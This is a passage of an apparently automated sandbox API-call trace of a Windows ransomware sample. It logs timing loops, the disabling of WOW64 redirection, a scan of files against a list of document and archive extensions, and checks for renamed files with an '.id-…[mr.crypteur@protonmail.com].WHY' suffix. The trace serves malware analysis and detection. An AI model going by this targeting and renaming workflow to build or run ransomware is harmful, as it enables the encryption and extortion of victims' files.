[0250.181] GetTickCount () returned 0x114905e [0250.181] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0250.622] GetTickCount () returned 0x1149213 [0250.622] GetTickCount () returned 0x1149213 [0250.622] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0251.044] GetTickCount () returned 0x11493b8 [0251.044] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0251.253] GetTickCount () returned 0x11494c1 [0251.301] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0251.652] GetTickCount () returned 0x1149618 [0251.652] GetTickCount () returned 0x1149618 [0251.652] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0251.932] GetTickCount () returned 0x1149731 [0251.932] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0252.748] GetTickCount () returned 0x1149a6c [0252.748] GetTickCount () returned 0x1149a6c [0252.748] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0253.089] GetTickCount () returned 0x1149bc3 [0253.089] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0253.506] GetTickCount () returned 0x1149d59 [0253.506] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0253.739] GetTickCount () returned 0x1149e43 [0253.739] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0255.674] GetTickCount () returned 0x114a535 [0255.674] GetTickCount () returned 0x114a535 [0255.674] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0256.668] GetTickCount () returned 0x114a91c [0256.668] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0256.978] GetTickCount () returned 0x114aa54 [0256.978] GetTickCount () returned 0x114aa54 [0256.978] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0257.707] GetTickCount () returned 0x114ad21 [0257.707] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0258.337] GetTickCount () returned 0x114af91 [0258.337] GetTickCount () returned 0x114af91 [0258.337] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0258.615] GetTickCount () returned 0x114b0aa [0258.615] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0258.833] GetTickCount () returned 0x114b184 [0258.833] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0259.115] GetTickCount () returned 0x114b29d [0259.115] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0259.795] GetTickCount () returned 0x114b53c [0259.795] GetTickCount () returned 0x114b53c [0259.795] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0260.107] GetTickCount () returned 0x114b674 [0260.107] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0260.220] GetTickCount () returned 0x114b6f1 [0260.220] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0260.555] GetTickCount () returned 0x114b838 [0260.556] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0260.905] GetTickCount () returned 0x114b99f [0260.905] GetTickCount () returned 0x114b99f [0260.905] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0261.147] GetTickCount () returned 0x114ba89 [0261.147] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0261.301] GetTickCount () returned 0x114bb25 [0261.301] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0261.517] GetTickCount () returned 0x114bc00 [0261.517] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0261.685] GetTickCount () returned 0x114bcab [0261.685] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0262.124] GetTickCount () returned 0x114be60 [0262.124] GetTickCount () returned 0x114be60 [0262.124] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0262.715] GetTickCount () returned 0x114c0b1 [0262.715] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0263.010] GetTickCount () returned 0x114c1d9 [0263.010] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0263.332] GetTickCount () returned 0x114c311 [0263.332] GetTickCount () returned 0x114c311 [0263.333] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0263.519] GetTickCount () returned 0x114c3cc [0263.519] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0263.714] GetTickCount () returned 0x114c497 [0263.714] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0263.976] GetTickCount () returned 0x114c591 [0263.976] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0264.099] GetTickCount () returned 0x114c60e [0264.099] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0264.330] GetTickCount () returned 0x114c6f8 [0264.330] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0264.598] GetTickCount () returned 0x114c801 [0264.598] GetTickCount () returned 0x114c801 [0264.598] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0264.717] GetTickCount () returned 0x114c87e [0264.717] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0264.969] GetTickCount () returned 0x114c977 [0264.969] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0265.156] GetTickCount () returned 0x114ca32 [0265.156] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0265.492] GetTickCount () returned 0x114cb8a [0265.492] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0265.796] GetTickCount () returned 0x114cca2 [0265.796] GetTickCount () returned 0x114cca2 [0265.796] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0266.117] GetTickCount () returned 0x114cdea [0266.117] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0266.344] GetTickCount () returned 0x114cec4 [0266.344] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0266.613] GetTickCount () returned 0x114cfce [0266.613] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0266.783] GetTickCount () returned 0x114d079 [0266.783] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0267.087] GetTickCount () returned 0x114d1b1 [0267.087] GetTickCount () returned 0x114d1b1 [0267.087] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0267.329] GetTickCount () returned 0x114d29b [0267.329] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0267.505] GetTickCount () returned 0x114d356 [0267.505] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0268.563] GetTickCount () returned 0x114d76c [0268.563] GetTickCount () returned 0x114d76c [0268.563] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0268.803] GetTickCount () returned 0x114d865 [0268.803] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0270.094] GetTickCount () returned 0x114dd74 [0270.095] GetTickCount () returned 0x114dd74 [0270.095] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0271.027] GetTickCount () returned 0x114e10c [0271.027] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0272.314] GetTickCount () returned 0x114e61b [0272.314] GetTickCount () returned 0x114e61b [0272.314] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0272.714] GetTickCount () returned 0x114e7b1 [0272.715] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0272.952] GetTickCount () returned 0x114e89b [0272.952] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0273.388] GetTickCount () returned 0x114ea50 [0273.388] GetTickCount () returned 0x114ea50 [0273.388] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0273.581] GetTickCount () returned 0x114eb0b [0273.581] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0274.036] GetTickCount () returned 0x114eccf [0274.037] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0274.414] GetTickCount () returned 0x114ee55 [0274.414] GetTickCount () returned 0x114ee55 [0274.414] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0274.677] GetTickCount () returned 0x114ef4f [0274.677] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0274.946] GetTickCount () returned 0x114f068 [0274.946] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0275.123] GetTickCount () returned 0x114f113 [0275.123] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0275.547] GetTickCount () returned 0x114f2b8 [0275.548] GetTickCount () returned 0x114f2b8 [0275.548] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0276.189] GetTickCount () returned 0x114f538 [0276.189] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0276.402] GetTickCount () returned 0x114f612 [0276.402] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0277.067] GetTickCount () returned 0x114f8b1 [0277.067] GetTickCount () returned 0x114f8b1 [0277.067] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0277.374] GetTickCount () returned 0x114f9da [0277.374] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0277.633] GetTickCount () returned 0x114fae3 [0277.633] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0278.183] GetTickCount () returned 0x114fd05 [0278.183] GetTickCount () returned 0x114fd05 [0278.183] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0278.703] GetTickCount () returned 0x114ff08 [0278.703] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0279.110] GetTickCount () returned 0x11500ad [0279.110] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0279.839] GetTickCount () returned 0x115036b [0279.839] GetTickCount () returned 0x115036b [0279.839] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0280.404] GetTickCount () returned 0x1150520 [0280.404] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) returned 0x102 [0281.185] GetTickCount () returned 0x11507af [0281.185] GetTickCount () returned 0x11507af [0281.185] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x64) Thread: id = 36 os_tid = 0x650 [0206.643] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x641c20 [0206.645] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x651c28 [0206.645] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x6302a8 [0206.645] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x641500 [0206.645] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e92c0 [0206.645] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x38f0020 [0206.646] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e92d8 [0206.646] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e92d8, Size=0x20) returned 0x620318 [0206.646] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e92d8 [0206.646] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e92d8, Size=0x20) returned 0x620390 [0206.647] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.647] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.647] Wow64DisableWow64FsRedirection (in: OldValue=0x2e2ff58 | out: OldValue=0x2e2ff58*=0x0) returned 1 [0206.647] lstrlenW (lpString="kernel32.dll") returned 12 [0206.647] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620318 | out: hHeap=0x590000) returned 1 [0206.648] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.648] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620390 | out: hHeap=0x590000) returned 1 [0206.648] Sleep (dwMilliseconds=0x64) [0207.122] lstrcmpiW (lpString1=".ini", lpString2=".WHY") returned -1 [0207.122] lstrlenW (lpString="desktop.ini") returned 11 [0207.122] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0207.122] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=129) returned 1 [0207.122] CloseHandle (hObject=0x200) returned 1 [0207.123] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0207.123] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0x26 [0207.390] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.390] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.390] lstrlenW (lpString=".doc") returned 4 [0207.390] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0207.390] lstrlenW (lpString=".docx") returned 5 [0207.390] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0207.390] lstrlenW (lpString=".pdf") returned 4 [0207.390] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0207.390] lstrlenW (lpString=".xls") returned 4 [0207.390] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0207.390] lstrlenW (lpString=".xlsx") returned 5 [0207.390] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0207.391] lstrlenW (lpString=".ppt") returned 4 [0207.391] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0207.391] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.391] lstrlenW (lpString=".zip") returned 4 [0207.391] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0207.391] lstrlenW (lpString=".rar") returned 4 [0207.391] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0207.391] lstrlenW (lpString=".bz2") returned 4 [0207.391] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0207.391] lstrlenW (lpString=".7z") returned 3 [0207.392] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0207.392] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.392] lstrlenW (lpString=".dbf") returned 4 [0207.392] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0207.392] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.392] lstrlenW (lpString=".1cd") returned 4 [0207.392] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0207.392] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.392] lstrlenW (lpString=".jpg") returned 4 [0207.392] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0207.392] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.393] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.393] lstrlenW (lpString=".doc") returned 4 [0207.393] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0207.393] lstrlenW (lpString=".docx") returned 5 [0207.393] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0207.393] lstrlenW (lpString=".pdf") returned 4 [0207.393] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0207.393] lstrlenW (lpString=".xls") returned 4 [0207.393] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0207.393] lstrlenW (lpString=".xlsx") returned 5 [0207.393] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0207.393] lstrlenW (lpString=".ppt") returned 4 [0207.393] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0207.394] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.394] lstrlenW (lpString=".zip") returned 4 [0207.394] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0207.394] lstrlenW (lpString=".rar") returned 4 [0207.394] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0207.394] lstrlenW (lpString=".bz2") returned 4 [0207.394] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0207.394] lstrlenW (lpString=".7z") returned 3 [0207.394] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0207.394] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.394] lstrlenW (lpString=".dbf") returned 4 [0207.394] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0207.394] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.395] lstrlenW (lpString=".1cd") returned 4 [0207.395] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0207.395] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0207.395] lstrlenW (lpString=".jpg") returned 4 [0207.395] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0207.396] Sleep (dwMilliseconds=0x64) [0207.869] Sleep (dwMilliseconds=0x64) [0208.093] Sleep (dwMilliseconds=0x64) [0208.479] Sleep (dwMilliseconds=0x64) [0208.670] Sleep (dwMilliseconds=0x64) [0208.991] Sleep (dwMilliseconds=0x64) [0209.258] Sleep (dwMilliseconds=0x64) [0209.776] Sleep (dwMilliseconds=0x64) [0210.081] Sleep (dwMilliseconds=0x64) [0210.327] Sleep (dwMilliseconds=0x64) [0210.912] Sleep (dwMilliseconds=0x64) [0211.343] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0211.343] lstrlenW (lpString="boxed-delete.avi") returned 16 [0211.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0213.454] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=31744) returned 1 [0213.455] CloseHandle (hObject=0x2cc) returned 1 [0213.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0213.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0213.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.459] lstrlenW (lpString=".doc") returned 4 [0213.459] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0213.459] lstrlenW (lpString=".docx") returned 5 [0213.459] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0213.459] lstrlenW (lpString=".pdf") returned 4 [0213.460] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0213.460] lstrlenW (lpString=".xls") returned 4 [0213.460] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0213.460] lstrlenW (lpString=".xlsx") returned 5 [0213.460] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0213.460] lstrlenW (lpString=".ppt") returned 4 [0213.460] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0213.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.460] lstrlenW (lpString=".zip") returned 4 [0213.460] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0213.460] lstrlenW (lpString=".rar") returned 4 [0213.460] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0213.460] lstrlenW (lpString=".bz2") returned 4 [0213.461] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0213.461] lstrlenW (lpString=".7z") returned 3 [0213.461] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0213.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.461] lstrlenW (lpString=".dbf") returned 4 [0213.462] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0213.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.462] lstrlenW (lpString=".1cd") returned 4 [0213.462] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0213.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.462] lstrlenW (lpString=".jpg") returned 4 [0213.463] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.463] lstrlenW (lpString=".doc") returned 4 [0213.463] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0213.463] lstrlenW (lpString=".docx") returned 5 [0213.463] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0213.463] lstrlenW (lpString=".pdf") returned 4 [0213.463] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0213.463] lstrlenW (lpString=".xls") returned 4 [0213.464] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0213.464] lstrlenW (lpString=".xlsx") returned 5 [0213.464] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0213.464] lstrlenW (lpString=".ppt") returned 4 [0213.464] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0213.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.464] lstrlenW (lpString=".zip") returned 4 [0213.464] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0213.464] lstrlenW (lpString=".rar") returned 4 [0213.464] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0213.464] lstrlenW (lpString=".bz2") returned 4 [0213.465] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0213.465] lstrlenW (lpString=".7z") returned 3 [0213.465] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0213.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.465] lstrlenW (lpString=".dbf") returned 4 [0213.465] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0213.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.465] lstrlenW (lpString=".1cd") returned 4 [0213.465] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0213.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0213.465] lstrlenW (lpString=".jpg") returned 4 [0213.465] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0213.466] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0213.466] lstrlenW (lpString="auxpad.xml") returned 10 [0213.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0215.233] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=212) returned 1 [0215.233] CloseHandle (hObject=0x300) returned 1 [0215.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0215.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.235] lstrlenW (lpString=".doc") returned 4 [0215.235] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0215.235] lstrlenW (lpString=".docx") returned 5 [0215.235] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0215.235] lstrlenW (lpString=".pdf") returned 4 [0215.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0215.235] lstrlenW (lpString=".xls") returned 4 [0215.235] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0215.235] lstrlenW (lpString=".xlsx") returned 5 [0215.235] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0215.236] lstrlenW (lpString=".ppt") returned 4 [0215.236] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0215.236] 